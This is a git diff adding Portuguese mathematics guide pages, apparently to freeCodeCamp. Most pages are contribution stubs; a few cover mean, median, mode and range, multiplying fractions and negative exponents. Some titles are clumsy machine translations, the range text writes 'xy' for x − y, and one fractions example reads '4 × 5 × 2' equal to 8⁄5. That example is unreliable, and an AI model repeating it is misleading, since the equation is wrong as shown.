index 0000000000..e04de69587
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/logarithmic-equations-variable-in-the-argument/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithmic Equations Variable in the Argument
+localeTitle: Variáveis ​​Logarítmicas Variáveis ​​no Argumento
+---
+## Variáveis ​​Logarítmicas Variáveis ​​no Argumento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithmic-equations-variable-in-the-argument/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/logarithms-introduction-to-the-relationship/index.md b/client/src/guide/portuguese/mathematics/logarithms-introduction-to-the-relationship/index.md
new file mode 100644
index 0000000000..d120bf8abb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/logarithms-introduction-to-the-relationship/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms Introduction to the Relationship
+localeTitle: Logaritmos Introdução ao Relacionamento
+---
+## Logaritmos Introdução ao Relacionamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithms-introduction-to-the-relationship/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/long-division/index.md b/client/src/guide/portuguese/mathematics/long-division/index.md
new file mode 100644
index 0000000000..580353f6ff
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Division
+localeTitle: Divisão longa
+---
+## Divisão longa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/long-polynomial-division/index.md b/client/src/guide/portuguese/mathematics/long-polynomial-division/index.md
new file mode 100644
index 0000000000..e4d9203a89
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/long-polynomial-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Polynomial Division
+localeTitle: Divisão Polinomial Longa
+---
+## Divisão Polinomial Longa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-polynomial-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/maclaurin-series/index.md b/client/src/guide/portuguese/mathematics/maclaurin-series/index.md
new file mode 100644
index 0000000000..0580091da0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/maclaurin-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Maclaurin Series
+localeTitle: Série Maclaurin
+---
+## Série Maclaurin
+
+A Maclaurin Series é um caso especial da série de Taylor, centrada em 0. É uma série de potências que permite calcular a aproximação de uma função f (x) para valores de entrada próximos de zero.
+
+[Referência da série Maclaurin](http://mathworld.wolfram.com/MaclaurinSeries.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/matrix-inverse/index.md b/client/src/guide/portuguese/mathematics/matrix-inverse/index.md
new file mode 100644
index 0000000000..c2b4e7ff32
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/matrix-inverse/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inverse
+localeTitle: Matriz Inversa
+---
+## Matriz Inversa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inverse/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md b/client/src/guide/portuguese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
new file mode 100644
index 0000000000..dd9d5232b6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inversion Finding the Inverse of a Matrix
+localeTitle: Inversão de Matriz Encontrando o Inverso de uma Matriz
+---
+## Inversão de Matriz Encontrando o Inverso de uma Matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/mean-absolute-deviation-mad/index.md b/client/src/guide/portuguese/mathematics/mean-absolute-deviation-mad/index.md
new file mode 100644
index 0000000000..232b5237b3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/mean-absolute-deviation-mad/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Absolute Deviation Mad
+localeTitle: Desvio Médio Absoluto Louco
+---
+## Desvio Médio Absoluto Louco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-absolute-deviation-mad/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/mean-median-mode-and-range/index.md b/client/src/guide/portuguese/mathematics/mean-median-mode-and-range/index.md
new file mode 100644
index 0000000000..b9d4f73f85
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/mean-median-mode-and-range/index.md
@@ -0,0 +1,60 @@
+---
+title: Mean Median Mode and Range
+localeTitle: Modo Mediano Médio e Intervalo
+---
+## Média, Mediana, Modo e Intervalo
+
+Estatísticos e matemáticos usam a média, a mediana, o modo e o intervalo para aprender informações sobre um grupo de números.
+```
+Example set: 
+ 
+ 5, -4, 11, 5, 5, 20, 8.5, 11 
+```
+
+Para calcular o **intervalo** de um conjunto, pegue o número mais alto, denotado xe o menor número, denotado como y e calcule xy. Intervalo dará uma indicação de como se espalham os números.
+```
+Smallest value: -4 
+ Largest value: 20 
+ 
+ 20 - (-4) = 24 
+ 
+ The range is 24 
+```
+
+Para calcular a **média** , some todos os números e divida pela quantidade total de elementos em um grupo. Isto é o que normalmente significa quando se discute a 'média'.
+```
+5 + (-4) + 11 + 5 + 5 + 20 + 8.5 + 11 = 61.5 
+ 
+ Sum: 61.5 
+ Count: 8 
+ 
+ 61.5 / 8 = 7.6875 
+ 
+ The mean is 7.6875 
+```
+
+Para calcular o **modo** , procure o número que é repetido com mais frequência. Por exemplo, para os números 1,2,3,4,5,6,7,7,7 o modo seria 7 porque há três 7s no grupo, que é maior que a quantidade de qualquer outro número.
+```
+Put the set in order so it's easier to see how 
+ many of each value there are: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ 5 appears three times, 11 appears twice and 
+ everything else appears once. 
+ 
+ The mode is 5 
+```
+
+Para calcular a **mediana** , organize todos os números em ordem crescente e cruze o número mais alto e mais baixo até restar apenas um ou dois números. Se houver um número restante, esse número será a mediana. Se houver dois números, adicione os dois números e divida por 2 para obter a mediana. Por exemplo, em 1,2,3,4,5,6,7,7,7 a mediana seria 5.
+```
+First, put the set in order: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ The third 5 and 8.5 are the middle values... 
+ (5 + 8.5) / 2 = 6.75 
+ 
+ The median is 6.75 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/mean-value-theorem/index.md b/client/src/guide/portuguese/mathematics/mean-value-theorem/index.md
new file mode 100644
index 0000000000..60a7647009
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/mean-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Value Theorem
+localeTitle: Teorema do valor médio
+---
+## Teorema do valor médio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-value-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md b/client/src/guide/portuguese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
new file mode 100644
index 0000000000..186a84c59e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
@@ -0,0 +1,11 @@
+---
+title: Metric Units of Length Review Mm Cm M and Km
+localeTitle: Unidades Métricas de Comprimento Revisão Mm Cm M e Km
+---
+## Unidades Métricas de Comprimento Revisão Mm Cm M e Km
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/mixed-fractions/index.md b/client/src/guide/portuguese/mathematics/mixed-fractions/index.md
new file mode 100644
index 0000000000..3bc288e18d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/mixed-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Mixed Fractions
+localeTitle: Frações Mistas
+---
+## Frações Mistas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mixed-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/more-trig-sub-practice/index.md b/client/src/guide/portuguese/mathematics/more-trig-sub-practice/index.md
new file mode 100644
index 0000000000..ed7791fb05
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/more-trig-sub-practice/index.md
@@ -0,0 +1,11 @@
+---
+title: More Trig Sub Practice
+localeTitle: Mais subprática de trigonometria
+---
+## Mais subprática de trigonometria
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/more-trig-sub-practice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/multiplication-times-tables/index.md b/client/src/guide/portuguese/mathematics/multiplication-times-tables/index.md
new file mode 100644
index 0000000000..a1fcbfd4fe
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/multiplication-times-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplication Times Tables
+localeTitle: Tabelas de Tempos de Multiplicação
+---
+## Tabelas de Tempos de Multiplicação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplication-times-tables/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/multiplying-decimals-example/index.md b/client/src/guide/portuguese/mathematics/multiplying-decimals-example/index.md
new file mode 100644
index 0000000000..80cbe164ad
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/multiplying-decimals-example/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Decimals Example
+localeTitle: Exemplo de Multiplicação de Decimais
+---
+## Exemplo de Multiplicação de Decimais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-decimals-example/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/multiplying-fractions/index.md b/client/src/guide/portuguese/mathematics/multiplying-fractions/index.md
new file mode 100644
index 0000000000..d7501658e3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/multiplying-fractions/index.md
@@ -0,0 +1,30 @@
+---
+title: Multiplying Fractions
+localeTitle: Multiplicando Frações
+---
+## Multiplicando Frações
+
+Uma fração é geralmente usada para representar um número que é uma proporção de dois números.
+
+Considere a fração 4 ⁄ 5 , aqui 4 é chamado de numerador e 5 é chamado de denominador.
+
+Aqui estão os passos para multiplicar duas frações
+
+1.  Multiplique o numerador e o denominador das frações
+2.  Se possível, simplifique a fração resultante
+
+#### Exemplo 1
+
+ 4 ⁄ 5 × 3 ⁄ 5 = (4 × 3) ⁄ (5 × 5) = 12 ⁄ 25 
+
+#### Exemplo 2
+
+ 4 ⁄ 5 × 3 ⁄ 2 = (4 × 3) ⁄ (5 × 2) = 12 ⁄ 10 = 6 ⁄ 5 (Simplificado) 
+
+#### Exemplo 3
+
+Multiplicando frações com número inteiro.
+
+Por favor, note que um número inteiro também pode ser considerado como uma fração considerando o seu denominador como 1.
+
+ 4 × 5 × 2 = (4 × 2) ⁄ (5 × 1) = 8 ⁄ 5
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/multiplying-matrices/index.md b/client/src/guide/portuguese/mathematics/multiplying-matrices/index.md
new file mode 100644
index 0000000000..73e898c72e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/multiplying-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Matrices
+localeTitle: Matrizes de multiplicação
+---
+## Matrizes de multiplicação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-matrices/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/negative-exponents/index.md b/client/src/guide/portuguese/mathematics/negative-exponents/index.md
new file mode 100644
index 0000000000..67fab0ae52
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/negative-exponents/index.md
@@ -0,0 +1,7 @@
+---
+title: Negative Exponents
+localeTitle: Expoentes Negativos
+---
+## Expoentes Negativos
+
+Um expoente negativo é simplesmente mover o expoente abaixo da barra de fração. Vamos pegar uma potência de 10. Se pegarmos _10³_ , obtemos _10 \* 10 \* 10 = 1000_ . Se o expoente fosse negativo, digamos _10⁻³_ , seria igual a _1 / 10³_ , ou _1 / (10 \* 10 \* 10)_ , ou apenas _1/1000_ . Isso vale para qualquer número e qualquer poder. _2³ = 8_ , onde _2⁻³ = 1 / 2³ = 1/8_ . O mesmo vale para _5² = 25_ enquanto _5⁻² = 1 / 5² = 1/25_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/normal-distribution/index.md b/client/src/guide/portuguese/mathematics/normal-distribution/index.md
new file mode 100644
index 0000000000..45151572e0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: Distribuição normal
+---
+## Distribuição normal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/normal-distribution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-bases-introduction-and-binary-numbers/index.md b/client/src/guide/portuguese/mathematics/number-bases-introduction-and-binary-numbers/index.md
new file mode 100644
index 0000000000..722ac4efd2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-bases-introduction-and-binary-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Bases Introduction and Binary Numbers
+localeTitle: Introdução de Bases Numéricas e Números Binários
+---
+## Introdução de Bases Numéricas e Números Binários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-bases-introduction-and-binary-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md b/client/src/guide/portuguese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
new file mode 100644
index 0000000000..d079d51939
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
@@ -0,0 +1,11 @@
+---
+title: Comparing Base N Numeral Systems
+localeTitle: Comparando os sistemas de numerais de base N
+---
+## Comparando os sistemas de numerais de base N
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/comparing-base-n-numeral-systems/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md b/client/src/guide/portuguese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
new file mode 100644
index 0000000000..0ea53f4680
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: Computers Don't Have to Use Binary
+localeTitle: Computadores não precisam usar binário
+---
+## Computadores não precisam usar binário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/computers-dont-have-to-use-binary/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/euclidean-division/index.md b/client/src/guide/portuguese/mathematics/number-theory/euclidean-division/index.md
new file mode 100644
index 0000000000..b35a3677ed
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/euclidean-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Euclidean Division
+localeTitle: Divisão Euclidiana
+---
+## Divisão Euclidiana
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/euclidean-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/finding-prime-numbers/index.md b/client/src/guide/portuguese/mathematics/number-theory/finding-prime-numbers/index.md
new file mode 100644
index 0000000000..4860a6074d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/finding-prime-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Prime Numbers
+localeTitle: Encontrando números primos
+---
+## Encontrando números primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/finding-prime-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/floating-point-precision/index.md b/client/src/guide/portuguese/mathematics/number-theory/floating-point-precision/index.md
new file mode 100644
index 0000000000..5bcccdd9a8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/floating-point-precision/index.md
@@ -0,0 +1,11 @@
+---
+title: Floating Point Precision
+localeTitle: Precisão do Ponto Flutuante
+---
+## Precisão do Ponto Flutuante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/floating-point-precision/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md b/client/src/guide/portuguese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
new file mode 100644
index 0000000000..e481f4104f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
@@ -0,0 +1,11 @@
+---
+title: Fundamental Theorem of Arithmetic
+localeTitle: Teorema Fundamental da Aritmética
+---
+## Teorema Fundamental da Aritmética
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/how-do-computers-use-binary/index.md b/client/src/guide/portuguese/mathematics/number-theory/how-do-computers-use-binary/index.md
new file mode 100644
index 0000000000..762613da08
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/how-do-computers-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: How Do Computers Use Binary
+localeTitle: Como os computadores usam binário
+---
+## Como os computadores usam binário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/how-do-computers-use-binary/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/index.md b/client/src/guide/portuguese/mathematics/number-theory/index.md
new file mode 100644
index 0000000000..d65b32719b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Theory
+localeTitle: Teoria dos Números
+---
+## Teoria dos Números
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/prime-factorization/index.md b/client/src/guide/portuguese/mathematics/number-theory/prime-factorization/index.md
new file mode 100644
index 0000000000..ad6e6a615a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: Fatoração Prima
+---
+## Fatoração Prima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/prime-factorization/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/number-theory/sieves/index.md b/client/src/guide/portuguese/mathematics/number-theory/sieves/index.md
new file mode 100644
index 0000000000..6e44b2c45c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/number-theory/sieves/index.md
@@ -0,0 +1,11 @@
+---
+title: Sieves
+localeTitle: Peneiras
+---
+## Peneiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/sieves/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/operations-on-functions/index.md b/client/src/guide/portuguese/mathematics/operations-on-functions/index.md
new file mode 100644
index 0000000000..3b31a9ae3d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/operations-on-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations on Functions
+localeTitle: Operações em Funções
+---
+## Operações em Funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/operations-on-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/optimization-box-volume/index.md b/client/src/guide/portuguese/mathematics/optimization-box-volume/index.md
new file mode 100644
index 0000000000..4fd2031301
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/optimization-box-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Box Volume
+localeTitle: Volume da Caixa de Otimização
+---
+## Volume da Caixa de Otimização
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/optimization-box-volume/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/order-of-operations-pemdas/index.md b/client/src/guide/portuguese/mathematics/order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..0e65e45b52
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Pemdas
+localeTitle: Ordem de Operações Pemdas
+---
+## Ordem de Operações Pemdas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/order-of-operations-pemdas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/partial-derivatives-introduction/index.md b/client/src/guide/portuguese/mathematics/partial-derivatives-introduction/index.md
new file mode 100644
index 0000000000..ac76af89e2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/partial-derivatives-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Derivatives Introduction
+localeTitle: Introdução parcial aos derivativos
+---
+## Introdução parcial aos derivativos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-derivatives-introduction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/partial-fraction-decomposition-general-techniques/index.md b/client/src/guide/portuguese/mathematics/partial-fraction-decomposition-general-techniques/index.md
new file mode 100644
index 0000000000..04e0b3392e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/partial-fraction-decomposition-general-techniques/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Fraction Decomposition General Techniques
+localeTitle: Técnicas Gerais de Decomposição de Frações Parciais
+---
+## Técnicas Gerais de Decomposição de Frações Parciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-fraction-decomposition-general-techniques/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/pascals-triangle/index.md b/client/src/guide/portuguese/mathematics/pascals-triangle/index.md
new file mode 100644
index 0000000000..882e01f48a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pascals-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Pascals Triangle
+localeTitle: Triângulo de Pascal
+---
+## Triângulo de Pascal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pascals-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
